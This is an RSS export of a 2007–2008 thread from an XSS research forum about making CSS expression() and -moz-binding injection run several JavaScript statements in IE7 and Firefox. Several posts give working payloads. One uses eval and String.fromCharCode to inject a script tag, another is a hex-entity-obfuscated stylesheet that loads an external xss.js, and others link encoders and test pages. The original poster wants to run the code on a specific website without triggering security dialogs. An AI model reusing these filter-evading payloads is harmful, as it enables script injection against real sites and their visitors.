<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>expression: doesn't work in IE?</title>
        <description>Hey guys, I'm trying to run this code (http://pastebin.com/f62d771e8), but I can't get it to work in IE7. What am I doing wrong? I need to use the img STYLE, with the &amp;quot;width:expression()&amp;quot; (can't use any other method on this website). With just &amp;quot;width:expression()&amp;quot; I can only do one statement, otherwise nothing happens. I need to execute multiple statements, as in the code.

As I don't have access to a box with IE7 anymore, it'd be great if you could test any code yourself, and make sure no security dialogs pop-up during execution.

Any help appreciated. Thanks!</description>
        <link>http://sla.ckers.org/forum/read.php?2,17804,17804#msg-17804</link>
        <lastBuildDate>Wed, 19 Jun 2013 08:47:12 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,19870#msg-19870</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,19870#msg-19870</link>
            <description><![CDATA[Finally YES.<br />
<br />
My mistake was in how I've inported the .css into the HTML<br />
<br />
I used &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;test.css&quot;&gt; <br />
&lt;div id=&quot;navigation&quot;&gt;-- Test --&lt;/div&gt; to import the .css<br />
<br />
instead of <br />
<br />
&lt;style type=&quot;text/css&quot;&gt;<br />
@import url(http://www.example.com/css/last.css);<br />
&lt;/style&gt;<br />
<br />
I guess it will still need to be hackvectorized even in the .css because of filters right ?<br />
<br />
Anyway, thanks for your support and I think I'll stick around here cuz I really like the stuff in here ... maybe I can really contribute some day.]]></description>
            <dc:creator>noconnexion</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 21 Jan 2008 20:17:41 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,19867#msg-19867</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,19867#msg-19867</link>
            <description><![CDATA[@noconnexion<br />
<br />
The second example separates the style and HTML so it would be possible to use an external CSS file instead of the &lt;style&gt; tags. I didn't provide that because it's pretty easy to sort out.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 21 Jan 2008 18:41:57 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,19864#msg-19864</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,19864#msg-19864</link>
            <description><![CDATA[@riahmatic - Thanks for the reply and I understand what you mean but this doesn't work either. Tried before only expression and I think it's equal to e\xp\re\s\s\i\o\n or expres/**/sion at least in this case.<br />
<br />
@Gareth Heyes - I appreciate that you have answered but I guess I'm either dumb or blind as I cannot see any .css file in your examples. As stated earlier &quot;I would like to have this 3 files work toghether on IE7.&quot; test.hmtl , test.css , xss.js. And if you are going to say that I need to take what's between &lt;div style=&quot; THIS &quot; id=&quot;inject&quot;&gt; and place it into the .css file like I did earlier here div#inject { THIS } please don't as I've done that many many times and it won't work. Or maybe is something I miss here and if it's like that I appologise in advance.]]></description>
            <dc:creator>noconnexion</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 21 Jan 2008 18:03:40 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,19807#msg-19807</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,19807#msg-19807</link>
            <description><![CDATA[@noconnexion<br />
<br />
Sorry for the delay in getting back to you but I didn't have much time. I've finally got my hands on a crappy windoze box (I'm defo gonna get a VM going in future) and I've successfully tested both an external style sheet and a inline style on both browsers. <br />
<br />
Inline:-<br />
http://www.businessinfo.co.uk/labs/ultimate_xss_css/ultimate_xss_css1.php<br />
<br />
Stylesheet:<br />
http://www.businessinfo.co.uk/labs/ultimate_xss_css/ultimate_xss_css2.php<br />
<br />
I've also updated Hackvertor to make it easier to create these vectors:-<br />
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBtb3piaW5kaW5nZXhwcmVzc2lvbj55b3VydXJsLmpzPEAvbW96YmluZGluZ2V4cHJlc3Npb24%2B<br />
<br />
You can use Hackvertor to encode the styles further but I'll leave that up to you to experiment. Hope that helps<br />
<br />
*NOTE* Firefox + Noscript silently disables mozbinding]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 21 Jan 2008 03:42:46 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,19804#msg-19804</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,19804#msg-19804</link>
            <description><![CDATA[@noconnexion<br />
I think the backslashes in e\xp\re\s\s\i\o\n are breaking the vector in IE. Instead of backslashes you could use comments in it like: expres/**/sion. You could place /*woohoocomment*/ between every char if you wanted and it'd still work.]]></description>
            <dc:creator>riahmatic</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 21 Jan 2008 01:31:38 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,19790#msg-19790</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,19790#msg-19790</link>
            <description><![CDATA[Based on The Spanner - Ultimate XSS CSS injection by Gareth Heyes I would like to use his xss css injection through a css file. This may sound like a simple task but I had alot of trouble making this work for IE70.<br />
<br />
I've tried to explain this pretty well here hxxp://noconnexion.wordpress.com/ but I guess I was ignored because of my noob question so I've decided  to try to steal 5 min from someone's time on this forum.<br />
<br />
Let's get to the point. Like stated I would like to have this 3 files work toghether on IE7.<br />
<br />
test.html<br />
--------------------------------------<br />
&lt;html&gt;<br />
&lt;body&gt;<br />
<br />
&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;test.css&quot;&gt;<br />
&lt;div id=&quot;navigation&quot;&gt;-- Test --&lt;/div&gt;<br />
<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
--------------------------------------<br />
<br />
test.css - and I'm pretty sure this where I need to work on<br />
--------------------------------------<br />
div#navigation <br />
{<br />
\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss);&amp;#x78&amp;#x78&amp;#x3A&amp;#x20&amp;#x65&amp;#x5C&amp;#x78&amp;#x70&amp;#x5C&amp;#x72&amp;#x65&amp;#x5C&amp;#x73&amp;#x5C&amp;#x73&amp;#x5C&amp;#x69&amp;#x5C&amp;#x6F&amp;#x5C&amp;#x6E&amp;#x28&amp;#x28&amp;#x77&amp;#x69&amp;#x6E&amp;#x64&amp;#x6F&amp;#x77&amp;#x2E&amp;#x72&amp;#x21&amp;#x3D&amp;#x31&amp;#x29&amp;#x20&amp;#x3F&amp;#x20&amp;#x65&amp;#x76&amp;#x61&amp;#x6C&amp;#x28&amp;#x27&amp;#x78&amp;#x3D&amp;#x53&amp;#x74&amp;#x72&amp;#x69&amp;#x6E&amp;#x67&amp;#x2E&amp;#x66&amp;#x72&amp;#x6F&amp;#x6D&amp;#x43&amp;#x68&amp;#x61&amp;#x72&amp;#x43&amp;#x6F&amp;#x64&amp;#x65&amp;#x3B&amp;#x73&amp;#x63&amp;#x72&amp;#x3D&amp;#x64&amp;#x6F&amp;#x63&amp;#x75&amp;#x6D&amp;#x65&amp;#x6E&amp;#x74&amp;#x2E&amp;#x63&amp;#x72&amp;#x65&amp;#x61&amp;#x74&amp;#x65&amp;#x45&amp;#x6C&amp;#x65&amp;#x6D&amp;#x65&amp;#x6E&amp;#x74&amp;#x28&amp;#x78&amp;#x28&amp;#x31&amp;#x31&amp;#x35&amp;#x2C&amp;#x39&amp;#x39&amp;#x2C&amp;#x31&amp;#x31&amp;#x34&amp;#x2C&amp;#x31&amp;#x30&amp;#x35&amp;#x2C&amp;#x31&amp;#x31&amp;#x32&amp;#x2C&amp;#x31&amp;#x31&amp;#x36&amp;#x29&amp;#x29&amp;#x3B&amp;#x73&amp;#x63&amp;#x72&amp;#x2E&amp;#x73&amp;#x65&amp;#x74&amp;#x41&amp;#x74&amp;#x74&amp;#x72&amp;#x69&amp;#x62&amp;#x75&amp;#x74&amp;#x65&amp;#x28&amp;#x78&amp;#x28&amp;#x31&amp;#x31&amp;#x35&amp;#x2C&amp;#x31&amp;#x31&amp;#x34&amp;#x2C&amp;#x39&amp;#x39&amp;#x29&amp;#x2C&amp;#x78&amp;#x28&amp;#x31&amp;#x30&amp;#x34&amp;#x2C&amp;#x31&amp;#x31&amp;#x36&amp;#x2C&amp;#x31&amp;#x31&amp;#x36&amp;#x2C&amp;#x31&amp;#x31&amp;#x32&amp;#x2C&amp;#x35&amp;#x38&amp;#x2C&amp;#x34&amp;#x37&amp;#x2C&amp;#x34&amp;#x37&amp;#x2C&amp;#x39&amp;#x38&amp;#x2C&amp;#x31&amp;#x31&amp;#x37&amp;#x2C&amp;#x31&amp;#x31&amp;#x35&amp;#x2C&amp;#x31&amp;#x30&amp;#x35&amp;#x2C&amp;#x31&amp;#x31&amp;#x30&amp;#x2C&amp;#x31&amp;#x30&amp;#x31&amp;#x2C&amp;#x31&amp;#x31&amp;#x35&amp;#x2C&amp;#x31&amp;#x31&amp;#x35&amp;#x2C&amp;#x31&amp;#x30&amp;#x35&amp;#x2C&amp;#x31&amp;#x31&amp;#x30&amp;#x2C&amp;#x31&amp;#x30&amp;#x32&amp;#x2C&amp;#x31&amp;#x31&amp;#x31&amp;#x2C&amp;#x34&amp;#x36&amp;#x2C&amp;#x39&amp;#x39&amp;#x2C&amp;#x31&amp;#x31&amp;#x31&amp;#x2C&amp;#x34&amp;#x36&amp;#x2C&amp;#x31&amp;#x31&amp;#x37&amp;#x2C&amp;#x31&amp;#x30&amp;#x37&amp;#x2C&amp;#x34&amp;#x37&amp;#x2C&amp;#x31&amp;#x30&amp;#x38&amp;#x2C&amp;#x39&amp;#x37&amp;#x2C&amp;#x39&amp;#x38&amp;#x2C&amp;#x31&amp;#x31&amp;#x35&amp;#x2C&amp;#x34&amp;#x37&amp;#x2C&amp;#x31&amp;#x32&amp;#x30&amp;#x2C&amp;#x31&amp;#x31&amp;#x35&amp;#x2C&amp;#x31&amp;#x31&amp;#x35&amp;#x2C&amp;#x34&amp;#x37&amp;#x2C&amp;#x31&amp;#x32&amp;#x30&amp;#x2C&amp;#x31&amp;#x31&amp;#x35&amp;#x2C&amp;#x31&amp;#x31&amp;#x35&amp;#x2C&amp;#x34&amp;#x36&amp;#x2C&amp;#x31&amp;#x30&amp;#x36&amp;#x2C&amp;#x31&amp;#x31&amp;#x35&amp;#x29&amp;#x29&amp;#x3B&amp;#x64&amp;#x6F&amp;#x63&amp;#x75&amp;#x6D&amp;#x65&amp;#x6E&amp;#x74&amp;#x2E&amp;#x67&amp;#x65&amp;#x74&amp;#x45&amp;#x6C&amp;#x65&amp;#x6D&amp;#x65&amp;#x6E&amp;#x74&amp;#x42&amp;#x79&amp;#x49&amp;#x64&amp;#x28&amp;#x78&amp;#x28&amp;#x20&amp;#x31&amp;#x30&amp;#x35&amp;#x2C&amp;#x31&amp;#x31&amp;#x30&amp;#x2C&amp;#x31&amp;#x30&amp;#x36&amp;#x2C&amp;#x31&amp;#x30&amp;#x31&amp;#x2C&amp;#x39&amp;#x39&amp;#x2C&amp;#x31&amp;#x31&amp;#x36&amp;#x20&amp;#x29&amp;#x29&amp;#x2E&amp;#x61&amp;#x70&amp;#x70&amp;#x65&amp;#x6E&amp;#x64&amp;#x43&amp;#x68&amp;#x69&amp;#x6C&amp;#x64&amp;#x28&amp;#x73&amp;#x63&amp;#x72&amp;#x29&amp;#x3B&amp;#x77&amp;#x69&amp;#x6E&amp;#x64&amp;#x6F&amp;#x77&amp;#x2E&amp;#x72&amp;#x3D&amp;#x31&amp;#x3B&amp;#x27&amp;#x29 : 1);<br />
}<br />
---------------------------------------<br />
<br />
and xss.js witch need nothing to be done and it's located here: hxxp://businessinfo.co.uk/labs/xss/xss.js<br />
 <br />
The &quot;source code&quot; before it was &quot;hackvectoreted&quot; I guess is this one:<br />
<br />
\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss);xx: e\xp\re\s\s\i\o\n((window.r!=1) ? eval('x=String.fromCharCode;scr=document.createElement(x(115,99,114,105,112,116));scr.setAttribute(x(115,114,99),x(http://businessinfo.co.uk/labs/xss/xss.js));document.getElementById(x( 105,110,106,101,99,116 )).appendChild(scr);window.r=1;') : 1);<br />
<br />
Have to mention that I have tried to include the css with @import and same result but I'm pretty sure this is not the point. The above files work on FF but not in IE7. <br />
Can someone give me an answer ? PLEASE.<br />
<br />
Ty.]]></description>
            <dc:creator>noconnexion</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 20 Jan 2008 13:31:06 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,18185#msg-18185</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,18185#msg-18185</link>
            <description><![CDATA[Hey no probs Dan we're sorry to have missed the credit the first time, great work it was a very good tip :) Yeah you're right this forum kicks ass!]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 11 Dec 2007 00:50:16 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,18162#msg-18162</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,18162#msg-18162</link>
            <description><![CDATA[@ Gareth Heyes and Martin<br />
<br />
Wow!  Thanks for the responses Gareth and Martin!  Definitely no need for apologies or anything.  I'm just glad that I could contribute something.  This community basically kicks ass.<br />
<br />
-Dan<br />
<br />
I left comments your blogs, too.  The progression/creation of that CSS injection is awesome.]]></description>
            <dc:creator>DoctorDan</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 10 Dec 2007 17:07:15 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,18107#msg-18107</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,18107#msg-18107</link>
            <description><![CDATA[@DoctorDan<br />
<br />
I've updated my post on ultimate XSS CSS injection with credit for you:-<br />
http://www.thespanner.co.uk/2007/11/26/ultimate-xss-css-injection/<br />
<br />
Please let me know if you have a blog and I'll add a link too]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 10 Dec 2007 03:53:06 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,18105#msg-18105</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,18105#msg-18105</link>
            <description><![CDATA[@DoctorDan<br />
<br />
My apologies also - it's such a good tip that I saved it at the time and then completely forgot where it came from!]]></description>
            <dc:creator>Martin</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 10 Dec 2007 03:26:14 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,18085#msg-18085</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,18085#msg-18085</link>
            <description><![CDATA[@DoctorDan<br />
<br />
If you were the first then I'm sorry I should have provided you with credit.<br />
It wasn't deliberate, we're all friends here. I'll credit you on my blog as well.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 09 Dec 2007 15:57:30 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,18083#msg-18083</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,18083#msg-18083</link>
            <description><![CDATA[I have a question...<br />
did I come up with the window.r / ternary operator idea?  I first posted it here at http://sla.ckers.org/forum/read.php?2,15812,page=1 , but I'm not sure if it was seen anywhere else beforehand.  Because I always see the r variable used as I posted it, I think I may actually have contributed something here :P<br />
<br />
Sorry, just wondering...<br />
-Dan]]></description>
            <dc:creator>DoctorDan</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 09 Dec 2007 14:51:52 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,17907#msg-17907</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,17907#msg-17907</link>
            <description><![CDATA[You can actually bind to anything:expression() - I normally use xx:expression<br />
<br />
The trick for multiple statements is to use an eval:<br />
<br />
style=”xx: expression((window.r!=1) ? eval(’x=String.fromCharCode;scr=document.createElement(x(115,99,114,105,112,116));scr.setAttribute(x(115,114,99),x(104,116,116,112,58,47,47,ETC));document.getElementById(x(99,104,101,109,45,110,97,118,45,102,111,114,117,109)).appendChild(scr);window.r=1;’) : 1);<br />
<br />
Here's an example from the post that Gareth mentioned. You need to decode/change the listed numbers to actual useful values to embed the &lt;script&gt; tag. Gareth's Hackvertor will help you construct a working string or this.]]></description>
            <dc:creator>Martin</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sun, 02 Dec 2007 04:49:15 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,17815#msg-17815</guid>
            <title>Re: expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,17815#msg-17815</link>
            <description><![CDATA[Yes it does.<br />
<br />
Read this post by Martin, it may help:-<br />
http://the-mice.co.uk/switch/?p=39]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Wed, 28 Nov 2007 03:53:53 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,17804,17804#msg-17804</guid>
            <title>expression: doesn't work in IE?</title>
            <link>http://sla.ckers.org/forum/read.php?2,17804,17804#msg-17804</link>
            <description><![CDATA[Hey guys, I'm trying to run this code (http://pastebin.com/f62d771e8), but I can't get it to work in IE7. What am I doing wrong? I need to use the img STYLE, with the &quot;width:expression()&quot; (can't use any other method on this website). With just &quot;width:expression()&quot; I can only do one statement, otherwise nothing happens. I need to execute multiple statements, as in the code.<br />
<br />
As I don't have access to a box with IE7 anymore, it'd be great if you could test any code yourself, and make sure no security dialogs pop-up during execution.<br />
<br />
Any help appreciated. Thanks!]]></description>
            <dc:creator>mpcidm</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 27 Nov 2007 19:45:46 -0600</pubDate>
        </item>
    </channel>
</rss>
